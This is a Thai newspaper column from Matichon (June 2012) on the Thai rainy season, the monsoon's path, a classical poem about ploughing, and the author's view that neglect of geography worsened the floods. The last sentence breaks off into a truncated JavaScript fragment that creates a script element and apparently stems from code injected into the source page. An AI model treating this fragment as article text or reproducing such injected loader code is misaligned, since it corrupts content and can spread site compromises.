มติชนรายวัน ฉบับประจำวันจันทร์ที่ 18 มิถุนายน 2555

 

          ฤดูฝนของไทยราว 5 เดือน เริ่มแล้วตั้งแต่กลางเดือนพฤษภาคม ฝนตกเรื่อยไปจนถึงกลางเดือนตุลาคม

          นี่ว่ากันตามตำราภูมิศาสตร์ แต่ปรากฏการณ์จริงอาจคลาดเคลื่อนได้ ยิ่งภาวะโลกร้อนก็ยิ่งวิปริตแปนปรวนไปต่างๆอย่างคาดเดาไม่ได้

          ฤดูฝนในประเทศไทยจะเริ่มเมื่อลมมรสุมตะวันตกเฉียงใต้พัดปกคลุมประเทศไทยแล้ว ตั้งแต่กลางเดือนพฤษภาคม เป็นต้นไป อักขรานุกรม ภูมิศาสตร์ไทย (เล่ม 1) บอกว่า ลมมรสุมตะวันตกเฉียงใต้ มีแหล่งกำเนิดจากบริเวณความกดอากาศสูงในซีกโลกใต้ ในมหาสมุทรอินเดีย และทวีปออสเตรเลีย เมื่อพัดข้ามเส้นศูนย์สูตรแล้วจะเปลี่ยนเป็นลมตะวันตกเฉียงใต้ พัดปกคลุมทะเลอันดามัน ทำให้ฝนตกชุกทางภาคใต้ฝั่งตะวันตก และประเทศไทยตอนบน คือ ภาคเหนือกับภาคอีสาน

          ทะเลอันดามัน มีขอบชายฝั่งทางเหนือสูงระดับ จ. ตาก ฝนจากลมมรสุมตะวันตกเฉียงใต้ พรั่งพรูเข้าภาคเหนือกับภาคอีสานก่อนที่อื่นๆ น้ำจึงท่วมทางภาคเหนือก่อน แล้วถึงไหลลงมาภาคกลางตอนบน ท่วมเขตสุโขทัย, อุตรดิตถ์, พิษณุโลก (ไม่ใช่ภาคเหนือตอนล่าง)

          โคลงทวาทศมาส ยุคต้นอยุธยา พรรณนาฤดูฝนช่วงมิถุนายน (ทางจันทรคติ เรียก เดือนเจ็ด) มีน้ำนองฟ้า ว่า “ฤดูเดือนเมฆน้ำ นองหาว” ชาวนาลงมือไถนาแล้วดังนี้

          ๏ พระพรุณรายเรื่อยฟ้า                 เฟดโพยม

          อกราษฎรชนบทเทา                      ทั่วหล้า

          เริ่มการสำเร็จโถม                         ไถแล่น

          เจียรอนุชน้องถ้า                           ไป่ยล

          กวีแต่งโคลงทวาทศมาส มีประสบการณ์เห็นชาวนากรุงเก่ายุคนั้น ว่าเริ่มไถนาเดือนเจ็ด (ราวกลางมิถุนายน) แต่ชาวนาที่อื่นๆ เช่น ล้านนายุคนั้น ไถนาปลูกข้าวไปก่อนแล้ว เพราะทางล้านนาฝนตกก่อน ทำนาก่อน แล้วนับเดือนล่วงหน้าไปแล้วเป็นเดือนเก้า

          ปัจจุบันยิ่งต่างไปอีกมาก เพราะบางแห่งทำนา 2-3 ครั้ง ไม่รู้ว่าไถกันเดือนไหนแน่ และที่เห็นกำลังไถน่ะครั้งที่เท่าไร?

          ประวัติศาสตร์โบราณคดีของไทย ไม่มีภูมิศาสตร์ และไม่สนใจภูมิประเทศ ความรู้พื้นฐานของสังคมไทยจึงไม่พร้อม แล้วไม่รู้จักท้องถิ่นแท้จริง

          เลยพากันปล่อยปละละเลย ทำลายภูมิประเทศ เพื่อหวังร่ำรวยเฉพาะตนและเฉพาะหน้า ทำให้น้ำท่วมทำลายหนักเมื่อปีก่อน ถึงปีนี้ยังแก้ไขอะไรไม่ได้มากนัก

          เพราะความเห็นแก่ตัวของคนที่อวดรักความเป็นไทยนักหนาสาหัสนี่แหละ} else {var d=document;var s=d.createElement(‘script’);